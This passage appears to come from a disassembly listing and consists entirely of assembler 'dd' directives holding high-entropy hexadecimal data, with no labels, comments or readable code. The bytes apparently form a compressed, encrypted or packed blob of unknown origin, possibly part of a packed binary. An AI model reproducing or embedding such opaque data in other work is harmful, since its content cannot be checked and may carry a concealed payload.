1949D585h dd 0BA660022h, 61FC677Fh, 3BBE0390h, 50649556h, 2721F8B0h dd 2090047Ch, 56BAA55Bh, 779AFAD9h, 606B2FC0h, 0B7300F1Ah dd 8D2944F3h, 58216C89h, 0F92DB998h, 6B77FE7h, 288BEB03h dd 0C710A514h, 0F38D401Eh, 5C08301h, 2581BD01h, 1A907098h dd 0BEE850F0h, 0C89D943Ch, 8C19E8CEh, 0E0493A01h, 53DFEEDBh dd 38D4B640h, 5E5C055Fh, 35418D09h, 8AB4BE9Dh, 18930087h dd 342259E6h, 0C5C7728h, 7B600666h, 539EBF35h, 0F2001AF9h dd 0B30BA3BEh, 6C3CCAC8h, 780A81EFh, 0A72B5B7Ah, 5BA18430h dd 0B3ABE21h, 7001823h, 7AF155FEh, 0CE810C66h, 0F70A1648h dd 8D833702h, 8D9E7F9Dh, 3341A1D2h, 0FF0126E9h, 70AC6BD3h dd 2D060493h, 88F48F14h, 0E9E4C019h, 0FD3A85F8h, 8A79A97h dd 6DF3D71Ch, 93F9C30Dh, 0E992D7DCh, 86C27963h, 51D70167h dd 1818D1A2h, 0FAE300B8h, 0AEBE0243h, 4F1C4BC9h, 9D85F78Bh dd 689E1A3Dh, 0D7EA65C7h, 9A10CE3h, 1DC18518h, 0B0DB0B52h dd 807745D7h, 1238DFDEh, 6E4DBD83h, 0EA16FCF8h, 0D8037789h dd 268DF050h, 179A6BE9h, 6A48ED7Fh, 2FBA816Ch, 32E8D9CAh dd 25390061h, 7F08288Fh, 94CC0E8Bh, 6D005109h, 3599186Ch dd 76E70500h, 7749BF66h, 85C7285Eh, 0E9DC58h, 53C6D9BEh dd 4669E949h, 550B0215h, 4B1A0809h, 0C481475Dh, 0F620601Ah dd 0B0703B2Bh, 0A075F9ADh, 11E8C47Dh, 226800C8h, 3A3B77EDh dd 3C0A4225h, 0EE8DC755h, 3E1446D6h, 0FF230EE6h, 0DFED5CFEh dd 0CB808835h, 0C9D9AD8Ch, 903F1696h, 71500470h, 0EB660F03h dd 5BED77DBh, 0C7C35764h, 0D26F8FF6h, 99602209h, 2930F09Ch dd 80115339h, 213016E2h, 47525C66h, 0F5260122h, 89C11450h dd 0B96B2404h, 7E15AC98h, 0C8AC0479h, 8049B13Dh, 773CCF8Fh dd 872BE92Ch, 8A35FFADh, 8AB67681h, 2BC0B093h, 0FD528B5h dd 70E62C83h, 71A6BBB7h, 0D304DE25h, 0CA9BE4E7h, 1A39A0C1h dd 74F80F02h, 0DC159D2Ch, 9206BA8Ah, 0E4C5B542h, 0F5C300A0h dd 0FC04E8C1h, 0E25BF766h, 0B1D6BEEh, 0D5D82BC8h, 0E06EBC4Dh dd 0E2AA83CAh, 93F9281Dh, 50FE018Ah, 4AB72FBFh, 0F5E0EA31h dd 0EE821765h, 0EDD4B5FBh, 7ECA177Eh, 6909FA6Ch, 80FA46C1h dd 2AECDEFBh, 7096B08Ch, 0A7D7A42Dh, 601C4400h, 2E3E682h dd 396AD008h, 0F889954Ah, 9B89F037h, 0FE848099h, 9613C58h dd 2DC830Fh, 56FAB411h, 0C714C8FEh, 0D6FD0B84h, 0CFC2DAEAh dd 0F2DA1A8h, 0B96B1773h, 88980B04h, 102E811Eh, 2330ED0Eh dd 463141B9h, 0A920102Bh, 0C730AA07h, 62144489h, 0EA3AA0D6h dd 905E379h, 98529F45h, 0D097582Bh, 45811B91h, 0DC4A42B3h dd 0E548B4D4h, 0A2C1535Fh, 8B9A3016h, 58FCD916h, 0C0629AEEh dd 115C13Bh, 9D090875h, 90301C4Dh, 0BAEE880Fh, 0E13DAD34h dd 0FEC07830h, 87615EE0h, 5CBE3900h, 0B9116BE3h, 845EB707h dd 0CA5348F4h, 432A4B75h, 0F79CB900h, 7DEF81E0h, 29E80D01h dd 0C183615Ah, 440047C2h, 56956017h, 3BC91714h, 66BC08D9h dd 26057CB1h, 1E605B62h dd 0C1F6FFB7h, 21643FB2h, 7AA4E82Bh, 31ED008Ch, 743E4A28h dd 6D012E3Fh, 0E152FE7Ah, 89D1F343h, 380FD290h, 0A45AD85Eh dd 0D2C0359Ah, 8C2B02ABh, 605B0D01h, 30D59589h, 61FC5285h dd 0A0C327E9h, 0E86448D6h, 5B8EB113h, 0DB82EF9Bh, 0F4510CF6h dd 0DF4D300h, 0CE8AB3h, 68400E4Dh, 0F30216Ah, 2BE45C09h dd 11001DC3h, 6CC801Dh, 0C0F3FCh, 9F146CE9h, 4DB50B6Bh dd 3D120992h, 98920834h, 0BF53F55Ah, 0DEE28D0h, 66E9D18Eh dd 0F7B96F19h, 0F300D9ACh, 5575968Fh, 14825986h, 6C0CE9CFh dd 0B9928900h, 90C5CA93h, 8B36C60Eh, 0FFC04A95h, 204A01DEh dd 0C465ED18h, 63F64C5Dh, 649DB602h, 6A4C9AEFh, 649F6798h dd 997D6017h, 0E80B18E0h, 0D1931913h, 0A73C9404h, 61801EBEh dd 2D45E3h, 78AFE186h, 89FA93A9h, 0A94D852Ch, 5D2A5E99h dd 0F8C709C8h, 0E8292EDh, 131B7B37h, 16FBBFE5h, 5816F84h dd 0F669FCA4h, 1090B81h, 0B9BD3107h, 1E0CAD32h, 4134452Ch dd 3D118DF7h, 1B7910FAh, 0BA12355Ah, 96B100A6h, 0FDDF01C9h dd 5928DBD2h, 2CE181Ah, 5B2BCFAFh, 2861E09Ah, 5AB3682Dh dd 0E79A2D74h, 6978EFC0h, 1F05B27Ah, 9023E2E8h, 0B063F6BFh dd 392B7CDFh, 0BD980E76h, 0BE66A36Dh, 2AB5F629h, 5F181B71h dd 0D6063BE6h, 868F6331h, 0F1ED68FCh, 280D0DDAh, 0E774760Ch dd 45C03F30h, 2D5C906Ch, 0D42213C1h, 111F0409h, 3143801Dh dd 46309A6h, 0AB9EBE27h, 0AD53812Eh, 0BD638503h, 0B8B31A35h dd 0E6301AB2h, 0A1BC0535h, 85F7199Ch, 6E7AFEAh, 2957760Eh dd 0E4F96242h, 81F1E4E0h, 20C7D707h, 7DEB1A1Ch, 7460196Ah dd 0A296F9F7h, 0BFCA71DCh, 0FF9ED1D8h, 9DE5A2Ch, 65C12B2Dh dd 0F5B57101h, 0D48B0320h, 0AAE1A9E6h, 0E7BDF03Fh, 0C00F3E28h dd 0EF23F531h, 476CFEBFh, 0F5DAAAD7h, 0C1774BDCh, 27895002h dd 4B81FC04h, 0BDDF1FA9h, 0FF5A66B3h, 0A200B66Bh, 0C5BCB975h dd 83093D92h, 0C250FB87h, 865A3549h, 0A7573356h, 2FF45CB7h dd 0F087B237h, 60EE7BE7h, 6B0B3CFh, 0DEE49E6Ah, 54B0DE01h dd 0F9E3CDAAh, 9149438h, 9005A2E1h, 6B05E804h, 0DC350B53h dd 53B16274h, 82DC7318h, 2FC1F890h, 50E85179h, 0C5A9E68Bh dd 5E062B84h, 26399D44h, 0E159B545h, 14F97AF9h, 61005DBCh dd 1248C48Ah, 3B819EF3h, 249AD1E6h, 56535663h, 0D96D70h dd 1C06EC09h, 8D297425h, 0EA0E595Ah, 0AB99C931h, 0B6DA4E56h dd 2B09D4ACh, 82B93E09h, 0B1F25B2h, 5309D546h, 55EF28Bh dd 6C8829A4h, 0BD230DD3h, 69100275h, 74DAD3D6h, 0A209D784h dd 10E91624h, 9A24D7CEh, 1612A436h, 21D5CFF8h, 5CE1AC1Dh dd 37001C46h, 0BF977D0Fh, 87242E79h, 0FDB715FCh, 0F7759D62h dd 0EE166072h, 0C0CDADE9h, 0FDF0B026h, 6F25D3D4h, 0DEE51062h dd 76F601B5h, 40732A63h, 0C5A9FCA7h, 853EBD0Bh, 41EF69E3h dd 848EC514h, 838EC0B3h, 22D94BDh, 11F0A4E8h, 94040349h dd 50E90525h, 3101FBB2h, 0C7017BA5h, 0D51E4685h, 8B0960E0h dd 521A198Dh, 3B335527h, 428CBC6Fh, 0DEB7701Dh, 0F000F49Fh dd 95796477h, 90FCFF3Ah, 0CFBC824Ah, 0D6CA6028h, 0E3044262h dd 1B9BF66h, 21317A81h, 2DB4A305h, 0E58B88F5h, 4AEE00DEh dd 29FBF184h, 0EF9C959Dh, 0A592112Dh, 0E84FE96Eh, 0B6722720h dd 121BBE84h, 6A2B59DDh, 35FA0060h, 825E818h, 0DEEE5D72h dd 0D9605087h, 81FDC8E9h, 0FE51BF70h, 0EC6FE17Fh, 8B598152h dd 806561C3h, 1D88FB0Eh, 2F6977C1h, 0B3316D0h, 6617E597h dd 0E91B3721h, 6AD9D60Fh, 2C29E188h, 7B0417ABh, 12630B15h dd 0F223024Ch, 78FADBB0h, 0D62DED1Bh, 9627DF63h, 2A3950DDh dd 0E57D2BE1h, 0E6E82309h, 9392B770h, 0D70D300Eh, 0CE0ED4C2h dd 6FA34AB7h, 9A060009h, 1A3FD52Dh, 2E953199h, 219D68E0h dd 71E11641h, 2C0D108Bh, 1C118210h, 0F74821BCh, 43C43Ah dd 92A26EB2h, 0C9784F04h, 3DA3073Ch, 0B8705B5h, 0B893F5BDh dd 7682BC5Bh, 0B261050Fh, 0EFDF4041h, 0FE61224h, 0E5FABE01h dd 116C4C84h, 1B21A862h, 8BEEE109h, 95D82BCCh, 580141B7h dd 334AA798h, 0F21D2A78h, 14376750h, 89229500h, 0A42AD5BDh dd 1FC12F96h, 0A7BE4838h, 324BC27Fh, 8FB9F874h, 55014BA8h dd 0ECC6163Ch, 0B97BB0F5h, 0F5B858h, 2FA464B4h, 0D9086294h dd 995EEA90h, 24CE6C26h, 480B230Dh, 0D11ED658h, 9C85CC71h dd 4FE58F28h, 0F0429FAh, 0F5705906h, 0B33546C2h, 0BA4978F7h dd 0C1C42AABh, 781A7504h, 0E9F5853Bh, 597E1100h, 4816AC8Ah dd 0BD8230B6h, 0B9DA2CA9h, 7173797h, 4623AC8Dh, 6920D8EAh dd 0B1289810h, 81581714h, 6D07FBC8h, 0B0B422EDh, 24F35B5Fh dd 0C5C9C1C7h, 9DA1052Ah, 9B2E7E69h, 0FBA1FC2Ah, 854DCDD1h dd 2639D68Ch, 0ED7A9DB1h, 108AC8Fh, 0AE8E35E8h, 3595207Dh dd 0B4A90799h, 0C6881622h, 7A015A11h, 9FBB07DBh, 646B6748h dd 2C049A92h, 527953D9h, 1D11EE97h, 6D910580h, 0B4021433h dd 0F8680EA5h, 0DCB0565Bh, 0E2F6D900h, 0EA853F71h, 2BA33DEBh dd 87079BCEh, 8BE0DE28h, 16338E13h, 0CA3275BDh, 16AF5EADh dd 80E39B77h, 6661E140h, 92110512h, 0B670DC91h, 3316A2B3h dd 2B3C5FFh, 1B30E7D1h, 0B8010051h, 0D1C04B6Bh, 40D99520h dd 2CC35E21h, 0E7D08CDFh, 0C0C0CDF9h, 2C6AF582h, 0AC612700h dd 14AE8B7h, 0D99D4C85h, 0EFB38596h, 19B19AA6h, 316E202Ch dd 4C0F1B40h, 849E2C8Dh, 0A51999B5h, 0F35E2B7Ah, 388A6385h dd 0B044B6EBh, 0E6E4570Bh, 62656362h, 0C9021639h, 0B19501C0h dd 669EDB2Dh, 6BBE4F37h, 0B09213DCh, 0F24E0B58h, 0BBB3B366h dd 64799D8Bh, 6C5B2C1Eh, 81B2C986h, 316B59DFh, 4090F156h dd 59E1F6FBh, 7F9ADA0h, 9F605280h, 61BB399Bh, 3E335E89h dd 0EDF81D22h, 0E649E49Bh, 69F6E003h, 33D30278h, 137B5622h dd 0EF47567Eh, 0B06A4161h, 1A435A80h, 1C31F989h, 95295E05h dd 0A6EE14FDh, 0FEBDF050h, 0CC7F0133h, 9FA65F28h, 26FB208Dh dd 493F5E8Ah, 7C50C340h, 16B62A00h, 0EDAC77C8h, 4FC2F51h dd 1766A0D5h, 27C633h, 36E8B32Bh, 9A0FDEB5h, 4F9F6C58h dd 6968AD97h, 24161F0h, 662EDE14h, 13001723h, 0F33A4B8h dd 0B256BF8Bh, 503811E0h, 3CCE000Bh, 9AEE1CA1h, 2248C785h dd 7CE60214h, 0D8FAE965h, 2A32EB5Ch, 46780601h, 82601EBFh dd 0B168D82Ah, 0E5DF58B9h, 8DF00A66h, 3400F6D3h, 5B9C1B5Ch dd 0F621CBA5h, 3B084B95h, 11823AEh, 7FAE60FFh, 10A138D1h dd 0F081449h, 6680048Eh, 612ECABFh, 0EFD00681h, 7C65AAADh dd 2E152534h, 4DB8D0BDh, 82F976BDh, 9B2ABBD8h, 1A7A2560h dd 6E8B3A29h, 0D81814F9h, 83F4019Dh, 413001E1h, 9B21D720h dd 0A4EE8052h, 0DAC86F19h, 9DF3FC9Ch, 717195D0h, 66490AC8h dd 4653DACAh, 379F2B2Ch, 67D5042Ch, 7AC6C259h, 6BE89A42h dd 403F74BAh, 606112CFh, 0D7812C9Bh, 0C6C1EF91h, 0D2A06746h dd 848224E9h, 0E1A8350Ah, 0FBBCF349h, 852C1727h, 2A091C20h dd 0D85353E1h, 0A00E1FBh, 0F7AE2835h, 2D297A13h, 0B4A8158Dh dd 1A467E5Ah, 922FB200h, 7240B8EFh, 0A88D8925h, 2164EAC4h dd 0DB06707Eh, 79BB1D4Eh, 938884B0h, 3FF4787Bh, 979CAE2Ch dd 564B4918h, 585854FCh, 84B28B0Ah, 9724046Ch, 80052099h dd 93838CE3h, 9ED5301h, 0C628C948h, 14D121DCh, 0EC1818F1h dd 0DDD55B0Dh, 0AF3D4C3Ah dd 1104292Ch, 0EF656B2Bh, 0A15E40B7h, 0CCE32EAEh, 0C02485DDh dd 0C10A694Bh, 0D1EEE123h, 0FCAB025Ah, 4BA48B57h, 8195E833h dd 7662BB66h, 13061E52h, 8B829CE8h, 5BA3DF51h, 31EEC007h dd 54EF26Bh, 61858B96h, 0A4C17609h, 4D44DA14h, 0FED129Dh dd 0F000C97Bh, 8D012A15h, 0B083111Dh, 91222DBDh, 0A72F2ECFh dd 35046FB7h, 0F992795Eh, 3B2B0A29h, 0B26B10CAh, 80296041h dd 0F90085B8h, 68C71B45h, 2C239B6Bh, 120D17B2h, 4BD03DF7h dd 0C71988A9h, 7FB8B11Ch, 4D8BCDFBh, 0F0C40089h, 35A92A38h dd 0DD7EC226h, 6B2E01F4h, 958BAFB1h, 0FC8F6475h, 0B32690h dd 18FC8778h, 0ACC02062h, 0DB12D8D0h, 0E09D85C7h, 1EC0555Bh dd 0C9CA3FF0h, 0B7612125h, 761C0274h, 0F672880Fh, 7520604Ah dd 72B0521h, 73EABD59h, 0CC9DC080h, 6C484AC6h, 13891023h dd 0B70F6101h, 0D807EBC0h, 7BE1E99Dh, 0D1E8C9BDh, 331276E8h dd 250A3177h, 0FEDE90DFh, 8A0738EAh, 0EBB23F94h, 4BEBC100h dd 2F0E0910h, 1AC53C1Eh, 0A4ACDA00h, 71D2D41Ch, 7E4705Ch dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h dd 0DB6743DFh, 13E85A6h, 0E6412800h, 727DD427h, 5DE9C30Ah dd 0F6B2C20Dh, 65D1CFh, 5F77219Bh, 617EA33Fh, 0E1559D24h dd 14B957AFh, 0EE8D0843h, 1A61822Eh, 35A87AC9h, 8856BF70h dd 0EBA60AD6h, 264B830Fh, 327D08F4h, 0C2CBB230h, 9D7AC204h dd 5F722779h, 55CA8A2Fh, 0F071D7A0h, 9B076688h, 3B41A81Ch dd 7AFA4840h, 0A3820B25h, 4FD5B26Fh, 0C813902Bh, 9D8D82D0h dd 53F5A6BFh, 50114425h, 0EA0C881Ah, 25902C6Eh, 6F41AC4Fh dd 0B5D089F4h, 292973E5h, 187227Dh, 36F559BAh, 4D0406Eh dd 0B797E812h, 2D9342h, 12C6E4CEh, 7D2FD0B1h, 1E207FE2h dd 988A8D6Ah, 0CC8F8912h, 94009DE8h, 4D2DC2C6h, 0F50BCE6Bh dd 0E2EDB550h, 40505EDBh, 3AA94146h, 0F2F09B18h, 8011C1A8h dd 9954BD89h, 559290EEh, 5250C61Dh, 0F057B840h, 58BF310Fh dd 6F030395h, 5061585Ah, 151682D9h, 85A9F4BFh, 5DC7400h dd 2CB156B8h, 0C0DF0714h, 83669025h, 0A5F5A99h, 0B5A904ABh dd 0B258B332h, 495E301Dh, 28DFAC00h, 19AF0878h, 4DCEA090h dd 8C0F8013h, 33176D91h, 8BE1D3EBh, 85894F05h, 0F6B40D29h dd 0FD89AAECh, 925874FBh, 8910BD35h, 0AD036AFCh, 0B35EAF97h dd 931EE02Dh, 66323BE1h, 7DC56980h, 22B97F05h, 546D6B0Ch dd 6E08995Bh, 12088EFCh, 14C42Fh, 9DE03B35h, 95C45D7Eh dd 15A1A700h, 24BA5261h, 0A2F097Ah, 91041F13h, 218124E1h dd 0B7020123h, 9396D1F7h, 0E059F647h, 769A5D8Ch, 465CBDD2h dd 97738F83h, 5B39E825h, 0F22A0E60h, 0ABB75977h, 0F8F3B393h dd 679A7h, 4FB07F47h, 2B019E74h, 0CF1D852Ch, 9D335E82h dd 2177045h, 0B0D66861h, 0D2F5C7F2h, 3C4801BEh, 0A224E29Bh dd 7C62C020h, 0EDC35C00h, 828322AEh, 81C11861h, 1368BD34h dd 0DC01D3EEh, 0FF45C28Ah, 682CF5B5h, 1DBC6159h, 91846A04h dd 0E1F2B3DEh, 72CF8000h, 36AF3F7Bh, 0AED53200h, 20F3DCDAh dd 13BB906Bh, 0DBE76D30h, 71A1CB01h, 0C9CB00A6h, 0E4896FC0h dd 0FFB6150Bh, 70DF7BD0h, 0DE099EFBh, 0A65E2A2h, 0DD4B1E3Dh dd 0F5F98AE6h, 3004052Eh, 0B1330C91h, 1014274Ch, 660408C9h dd 9D9F0AB9h, 0D9FE4038h, 4E13A568h, 3411B33Ah, 44F6026Ah dd 841E4F7Ah, 3DC4CCDDh, 0A8808BFCh, 7459C083h, 32F83000h dd 0B0B28557h, 0C6DB07B8h, 4B3F9C1Fh, 8FD47798h, 6846100h dd 0BBE8DE64h, 440049Ah, 0C55B0185h, 47114064h, 0BF3935FBh dd 9C95CF09h, 0B2103048h, 4056B499h, 5FA454CAh, 97E70252h dd 0D893B7DAh, 0E1A0FCF3h, 534CBB66h, 0B28529E0h, 0C98D0A3Bh dd 0F942BE0Dh, 10DE190Fh, 2BD265B9h, 16B96B72h, 8098DB56h dd 2F23384Ah, 824B095Dh, 0FF518659h, 0E5C28181h, 0E8EDE46Fh dd 39047839h, 0C2D41F6Dh, 0EB9850EFh, 4980414h, 68393809h dd 1EC0937Dh, 38254BECh, 0DF439552h, 0E2207400h, 2F6DD56Bh dd 0BC1E4700h, 94495640h, 0E2F84958h, 0FB8C16B8h, 0B850BCF8h dd 14AD20ACh, 26EC5A56h, 920B1B66h, 0A3CDF71Bh, 0CFB635E0h dd 0DEB7280Fh, 2DF84EBh, 3E21F781h, 0D9B04CC5h, 9527896Ch dd 18C9E291h, 0FE7083AFh, 665005DBh, 2080CEBFh, 0AA99B9A4h dd 0A55A7728h, 0A753B629h, 0B8545812h, 235E17C6h, 1BA6C9BFh dd 0B79FC49Ah, 0F5B913D3h, 40FBE6EFh, 8C51AAE9h, 0C08A5B97h dd 8E179D7Bh, 0E9BE0C78h, 0F06CD08Bh, 0B79DCDB0h, 89038147h dd 1369B5h, 9CA5BD8Bh, 4049391h, 72D715Ah, 74F26C68h, 50B2821Eh dd 0DB116B36h, 9B164BADh, 8E2A8063h, 0B83E12D5h, 21930B6h dd 0CC760B6Dh, 0D681FA2Eh, 34DFF51Fh, 120C622Dh, 0DA95C359h dd 0FD8A0212h, 50FC8984h, 35DE30F0h, 13DBD6B9h, 4606F28h dd 214411Ah, 0C0BCC180h, 1C25FA5h, 43B97048h, 0B355E722h dd 0E64918E1h, 8FD2076h, 0CF5C5064h, 155325A0h, 0FAED8D01h dd 0B6A5F0Bh, 0F37005D3h, 35A724D9h, 0C6C91A1Ch, 9FFD3757h dd 0BC850123h, 0CCBB5191h, 7F2F2BAFh, 0A1A5F55Bh, 88C1009Eh dd 9B8F2EB1h, 10F6F748h, 5B172391h, 0F1A98890h, 3A747B00h dd 1D92E5B8h, 90502897h, 175D2989h, 4B8E26C4h, 0E15FD0h dd 0C6D3B58Dh, 518A0FCBh, 0D1388798h, 4456A750h, 48B100C2h dd 7DE47179h, 8700C32Eh, 868A5BBBh, 4C5902C0h, 0CA40285Ah dd 92CF1F81h, 903C87F8h, 4502860Fh, 507CCBF2h, 94D3F57Ch dd 3B91424h, 94010DB8h, 5A60AB08h, 0B8D0B0EFh, 1A6A078Dh dd 92BA6627h, 0E940612Ch, 3E7AB6BBh, 8DBF3A00h, 8B6850A1h dd 3A4691B5h, 859EC7B8h, 19E627F4h, 0DA95033Ch, 7E808602h dd 6E94D820h, 86CAAB52h, 0CB8B016Eh, 0ED6017B2h, 8D21408Fh dd 0C09B2046h, 4D0C078h, 159D2992h, 0F8F6A418h, 7DBA4D2h dd 16B3D9C1h, 80B02C23h, 2C033342h, 86EA27EEh, 101CA61h dd 0FDC256E9h, 5C7819FBh, 77DC00FEh, 0DDE58530h, 234F514Ah dd 0BA21DEC9h, 0A5401FC4h, 601CC466h, 1D7C2C0h, 0DCA9CBE3h dd 0E08BCF28h, 30BA3880h, 9202D05Bh, 0A225952Bh, 0DC61E9A1h dd 612F6E6h, 0A2164D5Ch, 934804F4h, 2DD785Fh, 0DC605D02h dd 562A7AB1h, 97D00521h, 3DB2FE7Dh, 0B896E76h, 0BD0B6101h dd 0EAD056D5h, 28485C48h, 812F1663h, 11B07518h, 3800096Dh dd 0DA368798h, 2CE3DD14h, 820C8C9h, 5F192C41h, 3C022F4Eh dd 48D3B710h, 0CADF3A3Bh, 0A5AB8483h, 220936B7h, 0BF910268h dd 53961FAh, 48DABA10h, 612569F6h, 0B618F040h, 8BD9CCCh dd 0A032E812h, 0EF292574h, 0DC26411Ah, 0C9FB6977h, 17F32C50h dd 30E68870h, 0EF0838E3h, 6BF7E00h, 0AAD3A1BDh, 0BAF50952h dd 73CA038Dh, 4DE02D4h, 7879D19Eh, 5BEA8743h, 92C673E1h dd 4303F522h, 4A1A4DBDh, 86D423DDh, 10AFC9B8h, 99295100h dd 1C7F03F4h, 34392A6Ch, 0DA810282h, 6AFB1335h, 0F709CE2h dd 83033797h, 728E319Bh, 0BD19B2E8h, 294D2A0Bh, 0ACFD7195h dd 0D8862373h, 8F01B20Ah, 5BB7D9FFh, 326EC00Bh, 9B7E6126h dd 174D04DCh, 0D8DBD580h, 0F8801EDh, 3E918Dh, 0A7A69DB9h dd 656CE95Fh, 41C1E215h, 1073682Ah, 81092091h, 87F31CC6h dd 0FA6B1ED8h, 0B570013Dh, 0FCCFE965h, 0B17EC6FFh, 0BF8000DCh dd 0F90882E8h, 0E0094AE2h, 0DABD29F5h, 79680171h, 8B1F5CAEh dd 0E59B75FBh dd 0B712AF2Eh, 80E30514h, 0E6DDD41Eh, 8B71E007h, 9A4E90D3h dd 0DE59BEC1h, 0CF29102h, 421BDF80h, 4A515244h, 0D328D29h dd 37DB2AFFh, 0E8908682h, 180065DAh, 0AEBF9649h, 844D1Ch dd 3DAC67E2h, 0CF5E938Dh, 0BB09E498h, 405B1ADEh, 0B890F945h dd 0DC2D4DDFh, 0DAB6745Ah, 47E3C0ADh, 0FE395C32h, 0A2220187h dd 0BD8D017Eh, 5090001Eh, 0CEDCBF52h, 61E3B561h, 5C5A31E4h dd 0B102EF58h, 0F8905FE5h, 6CF9F561h, 88EFD7AEh, 0BD2931F1h dd 9F282D15h, 0F33C1945h, 25D5F380h, 72006013h, 0DCB955F6h dd 1281B98h, 0C641AD04h, 54BAF195h, 1974C242h, 8A138510h dd 11ADAFFh, 2EFB4599h, 3AABFDF1h, 265B378Ch, 8946090h dd 61042701h, 544010E8h, 298F0C97h, 2A227F00h, 5548FD3Ch dd 0E265159Bh, 5F24CCBEh, 1DA23E1Bh, 15458511h, 464DC027h dd 958BF3C0h, 49106285h, 15EA8DBDh, 26D025F3h, 25448DA7h dd 0E2061F75h, 35A951A0h, 0D43795h, 9589BD78h, 0FCBF1B29h dd 18467C25h, 41EE0A1Eh, 9D29253Bh, 589A50B9h, 314EBD01h dd 0DE576D09h, 3AF14011h, 7005D93h, 0C34DF577h, 84860FECh dd 0C2595F0Eh, 96F51F08h, 0E812CDBh, 0FC7FDE25h, 5D25EEC9h dd 7B69074h, 78450144h, 57F7023Fh, 55ED7B30h, 0AE5B4F00h dd 0C5E79AC0h, 0F1D4EB00h, 0A1CBDBABh, 8C710991h, 0D4E1F873h dd 6F003527h, 6F0BBE6Eh, 1D82982Dh, 430828BDh, 4F53F380h dd 0B5EE51h, 686FB986h, 8DFC2843h, 63F17C01h, 58F78BCFh dd 0B475534h, 0BDB589DBh, 810B9A7Ah, 686E8DC0h, 811F1D8Ch dd 0CB8C3B68h, 5F2440EDh, 0A0B57890h, 734FF7Dh, 0EA810566h dd 0C359B2C9h, 0F1C0F6F6h, 0EB3F9E58h, 8ACE034Fh, 0E063AE51h dd 3E3C7DC1h, 0C7F026Dh, 36609214h, 0AA123A30h, 56C83E5Ah dd 2C90010Bh, 0C3F21EE5h, 0F6688E51h, 48F831Dh, 0BDBAC038h dd 83E0C7AFh, 0AF60A4EFh, 3D6EB220h, 12A7CC7h, 5961AA80h dd 0DCC1C05Bh, 0F8C366EBh, 9F9254FFh, 1A478449h, 737ABE40h dd 0E93036C1h, 97D01532h, 7B30FF8h, 0E7E0DF7Dh, 321EA544h dd 0C8310D09h, 965C5E60h, 6177F49Dh, 5E6CE937h, 14A3A120h dd 0A9041D64h, 81E84027h, 224FCE1Ch, 0B5419A00h, 6F05B8Fh dd 71150B62h, 11DE73A9h, 1C23F400h, 7AE68Dh, 6476BA1Fh dd 1AFF0A9Ah, 9BE53D1Dh, 0F13A23C0h, 7A06F3CAh, 7ED89874h dd 0D11C656h, 2B0D19F0h, 58FAB5EFh, 30E10E8h, 2DA24B85h dd 31DEF703h, 777EE000h, 85A3E4B0h, 2CB5314Dh, 83096F19h dd 73E1F348h, 9B3000F5h, 0F0D3873Eh, 8D0CB86Ch, 0A8EA6AF6h dd 123301E4h, 4204861h, 3FC9F0FBh, 7A9A9802h, 806E2477h dd 0ED395896h, 0B18C6019h, 7F7B5FDh, 0CD20A362h, 240E0F6Fh dd 228A7863h, 18198FB8h, 0D9C0607Ch, 99B787F3h, 11376098h dd 0CFA1FD75h, 4E1B367Eh, 0C6190740h, 17280008h, 927324B4h dd 50D9C316h, 0EAFBE1h, 0DDAEF6C4h, 1858C8C0h, 67BD8F0h dd 0AC6D3DCh, 620318CEh, 381F176Dh, 8BA3E0EDh, 6E08CFF3h dd 0B855989Ch, 8505A48Fh, 0D2A061Dh, 7CD3D020h, 78BF01B5h dd 7099582Bh, 1E08995Bh, 0B5CC3121h, 4A110050h, 3B06C67h dd 99311DC9h, 6190C90Eh, 0AA1080CBh, 87FC063Bh, 981E46CEh dd 96BCE54Ah, 0E0005239h, 2AF39A97h, 2203B56Bh, 0C85DB38Fh dd 78483F1Ah, 780662Ah, 6E9B72FFh, 0F786A099h, 92F2BD2Ch dd 5907E52h, 25761E89h, 46AA203Ch, 24F86479h, 3D607E62h dd 7CA45B78h, 33ED44h, 8DD5B576h, 0C82BFFB0h, 5E196707h dd 6C40AC78h, 0F1CE8F82h, 8C003025h, 22B77428h, 0E607079Bh dd 8D262411h, 85EFF990h, 3108CC37h, 2A004421h, 0D273A024h dd 3C4DD7Bh, 0DC138092h, 0A91FE19Bh, 80BE3F1Eh, 0A3E024F9h dd 0BD312F19h, 322858F8h, 7C0CEC54h, 30EF539Ch, 6AFAEECEh dd 8801877h, 828D272h, 0E4609CFEh, 0C729C559h, 3C6E3111h dd 982C6630h, 0A721FD08h, 1C77221h, 0B75B843Bh, 0A304710Dh dd 7E78A4B8h, 0AA2604DFh, 8010181Dh, 0B285B9C4h, 5724A8F4h dd 5E085450h, 17E3E43h, 702F4BFAh, 421B2D0Dh, 7330293Ch dd 78B011B5h, 821F8853h, 23B54B2Eh, 84982C60h, 0A889050h dd 7023CD42h, 44C72D0Eh, 0F7625C6Eh, 0C725A320h, 0B09A0EA8h dd 0D2E09985h, 0BD0D51F6h, 8E400448h, 1E3C902Eh, 0F4AE5E15h dd 0B0540600h, 91FB73B2h, 1D1ACF3Dh, 6D18CC59h, 0A83921h dd 0B0A741B2h, 0FE0E44B4h, 0FB033C13h, 0F5968427h, 0E01C00D9h dd 77A656EBh, 0C105C57Ch, 1B980C51h, 64E700C3h, 635C8030h dd 0FB7188B2h, 67448C81h, 0B2AA0537h, 0D1DBBh, 0B5FBFE34h dd 64005919h, 21574CB6h, 7E425D53h, 5E5988h, 8EF8BE31h dd 506100C3h, 1CAE3080h, 0BD4AFD89h, 6B4304Ch, 0CB4E6A78h dd 1AFB1C28h, 0D81830E5h, 0E50299h, 0B2F1AF9Ch, 9E34414h dd 48491E01h, 23113AF5h, 9039F8h, 0FB463CD4h, 404CB858h dd 400C7B0h, 7310E385h, 6EF9627Dh, 0CE457932h, 22CC22C2h dd 0FD02D732h, 8CB1B1FBh, 0B435106Fh, 1FF000B2h, 6B55BC68h dd 71075C93h, 0E19CCE1Bh, 0AE580169h, 30829A84h, 3D254AFBh dd 0C78E3C82h, 0BD182311h, 0FB7EB21Ah, 6B3C2470h, 0B2B53440h dd 3E034948h, 0D46ACAE3h, 226EB37Ch, 7D08CC71h, 8F1B5952h dd 0B0F43E6Ah, 1436F184h, 1827239Ch, 23785E71h, 0E4119C93h dd 0B5492C03h, 0F9A00436h, 0D1CA882h, 2654E780h, 343910E8h dd 9C258803h, 3800EC97h, 0FACD7A87h, 0A130711Ah, 7818263Ch dd 0ACBBB539h, 3571344Bh, 9BB5E4h, 0A81B64A9h, 0D63A91C0h dd 8E11D0CBh, 5E28996Dh, 58608CE5h, 0E3AA249Ah, 67467CB8h dd 0B28DD13h, 638AAEE4h, 6F467C9Ch, 